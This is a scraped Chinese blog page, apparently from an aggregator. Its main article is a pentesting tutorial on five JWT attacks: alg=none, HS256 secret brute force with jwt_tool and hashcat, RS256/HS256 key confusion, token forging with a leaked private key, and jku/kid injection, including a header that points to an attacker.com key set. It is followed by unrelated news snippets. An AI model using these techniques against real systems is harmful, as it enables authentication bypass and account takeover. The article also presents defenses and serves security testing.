news 2026/7/9 3:35:54

JWT 安全实战:5 种攻击手法复现与 BurpSuite 插件自动化利用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JWT 安全实战:5 种攻击手法复现与 BurpSuite 插件自动化利用

JWT 安全实战:5 种攻击手法复现与 BurpSuite 插件自动化利用

JSON Web Token(JWT)作为现代Web应用广泛采用的身份验证机制,其安全性直接影响整个系统的防护等级。本文将深入剖析五种高危JWT攻击技术,并演示如何通过BurpSuite插件实现自动化漏洞利用,帮助安全工程师在渗透测试中高效识别风险。

1. 靶场环境搭建与JWT基础识别

在开始实战前,我们需要配置包含五种漏洞场景的Docker靶场。以下为快速部署命令:

docker pull vulnlab/jwt-lab:latest docker run -d -p 8080:80 --name jwt-lab vulnlab/jwt-lab

流量特征识别技巧

  • 典型的三段式结构由.分隔
  • Header和Payload部分通常以eyJ开头(Base64编码后的{"
  • 常见传输位置:
    • Authorization头部的Bearer令牌
    • Cookie中的authtoken字段
    • POST请求体的access_token参数

提示:安装BurpSuite插件"JSON Web Tokens"后,流量中JWT会自动高亮显示,并支持实时解码。

2. 空加密算法攻击(alg=none)

当服务器未严格校验签名算法时,将alg字段改为none可绕过验证。以下是完整攻击流程:

  1. 捕获含JWT的请求包,解码后得到类似结构:

    { "alg": "HS256", "typ": "JWT" }
  2. 修改Header为:

    { "alg": "none", "typ": "JWT" }
  3. 删除Signature部分,保留结尾的.
    最终格式:[新Header].[原Payload].

BurpSuite自动化操作

  1. 右键请求 → Extensions → JWT Editor → Attacks → None Algorithm
  2. 插件会自动完成算法替换和签名删除

3. 密钥爆破攻击(HS256弱密钥)

对称加密算法HS256依赖密钥强度。使用常见弱密钥字典进行爆破:

# 使用jwt_tool进行爆破示例 python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -C -d /usr/share/wordlists/rockyou.txt

高效爆破技巧

  • 优先尝试CTF常见密钥:secret123456password
  • 结合网站信息推测密钥(如域名、公司名等)
  • 使用hashcat加速:
    hashcat -m 16500 -a 0 jwt.txt rockyou.txt

BurpSuite集成方案

  1. 安装"JWT4B"插件
  2. 配置字典路径后,右键选择"Brute Force Secret"
  3. 成功爆破后会自动生成有效令牌

4. 密钥混淆攻击(RS256→HS256)

当服务器使用RS256但未限制算法类型时,可强制使用HS256并利用公钥伪造签名:

步骤操作工具命令
1获取公钥/jwks.json或页面源码提取
2转换格式openssl rsa -pubin -in pub.key -text
3修改算法alg改为HS256
4重新签名使用公钥作为HS256密钥

BurpSuite一键操作

  1. 将公钥导入JWT Editor Keys
  2. 右键请求 → JWT Editor → Attacks → HS/RSA Key Confusion
  3. 修改Payload后自动用公钥签名

5. 私钥泄露利用(RS256私钥获取)

当源码或配置泄露私钥时,可直接签发任意令牌:

import jwt private_key = open('private.pem').read() token = jwt.encode({"user":"admin"}, private_key, algorithm="RS256")

自动化检测方案

  1. 使用Burp主动扫描检查.git泄露
  2. 对JS/CSS文件进行关键词搜索(如PRIVATE KEY
  3. 尝试常见路径:
    /v1/private.key /config/rsa_key /.env

6. JKU/KID注入攻击

利用头部参数注入恶意公钥:

JKU攻击流程

  1. 托管包含恶意公钥的JWK Set:
    { "keys": [{ "kty": "RSA", "e": "AQAB", "kid": "malicious", "n": "恶意公钥内容..." }] }
  2. 修改JWT头部:
    { "alg": "RS256", "typ": "JWT", "jku": "http://attacker.com/malicious_jwks.json" }

KID目录遍历攻击

{ "alg": "HS256", "typ": "JWT", "kid": "../../../../dev/null" }

7. BurpSuite全流程自动化

配置JWT攻击工作流:

  1. 探测阶段

    • 使用"JSON Web Tokens"插件自动识别JWT
    • "JWT4B"进行基础漏洞扫描
  2. 利用阶段

    graph TD A[发现JWT] --> B{算法检测} B -->|HS256| C[密钥爆破] B -->|RS256| D[检查公钥泄露] D --> E[尝试算法混淆] B -->|none允许| F[空算法攻击]
  3. 报告生成

    • 使用"Logger++"记录所有测试过程
    • "Report in HTML"生成详细漏洞报告

8. 防御方案与最佳实践

开发人员防护措施

  • 严格校验alg字段,禁用none
  • 使用强密钥(HS256至少32字节,RS2048+)
  • 定期轮换密钥
  • 添加令牌黑名单机制

安全检测清单

  1. [ ] 是否强制指定算法
  2. [ ] 签名是否有效验证
  3. [ ] 密钥是否足够复杂
  4. [ ] 敏感声明是否加密
  5. [ ]kid/jku是否受控

通过本文介绍的技术组合,安全团队可以系统性地检测JWT实现缺陷。建议在实际测试中优先使用自动化工具提高效率,但对关键业务仍需辅以手动验证确保覆盖所有攻击面。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/9 3:32:47

苏州市2026年第二批园区2A级绿色工厂申报条件及流程

一、基本条件(一)在园区工商管理部门登记注册、从事生产经营并具有独立法人资格的企业。(二)生产经营状况良好,具有健全的生产经营管理制度。(三)近三年有下列情况的,不得申报绿色工…

作者头像 李华
网站建设 2026/7/9 3:31:41

基于STM32单片机 wifi 智能插座 物联网插座系统 系统32(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_

基于STM32单片机 wifi 智能插座 物联网插座系统 系统32(设计源文件万字报告讲解)(支持资料、图片参考_相关定制)_ 智能插座lcd1602液晶显示当前时间 开继电器时间 关继电器时间按键设置开启继电器时间 和关闭继电器时间时间到后,继电器自动打…

作者头像 李华
网站建设 2026/7/9 3:31:13

Akamai收购安全企业浏览器提供商LayerX

Akamai Technologies, Inc.(纳斯达克代码:AKAM)宣布,该公司已完成对安全企业浏览器提供商和AI使用控制领导者LayerX的收购。 5月14日,Akamai 宣布双方同意Akamai以约2.05亿美元的价格收购LayerX。 LayerX提供了一个浏览器安全平台&#xff0…

作者头像 李华
网站建设 2026/7/9 3:26:32

前端转大模型:为什么学了很多,还是写不出能落地的项目?

这篇不先堆名词。我们把《前端转大模型:为什么学了很多,还是写不出能落地的项目?》拆成几级台阶,看完至少知道下一步该学什么、该练什么。摘要先把这篇文章的目标说清楚:看完之后,你应该能判断这件事值不值…

作者头像 李华
网站建设 2026/7/9 3:25:47

艺学启航:Python异步避坑指南,边界比写法更重要

艺学启航:Python的async/await语法早已推出,但早期配套生态不完善,各类工具兼容性不足,难以商用落地。近几年,数据库驱动、HTTP客户端、缓存组件等主流工具全面支持asyncio,异步生态彻底完善。如今开发的重…

作者头像 李华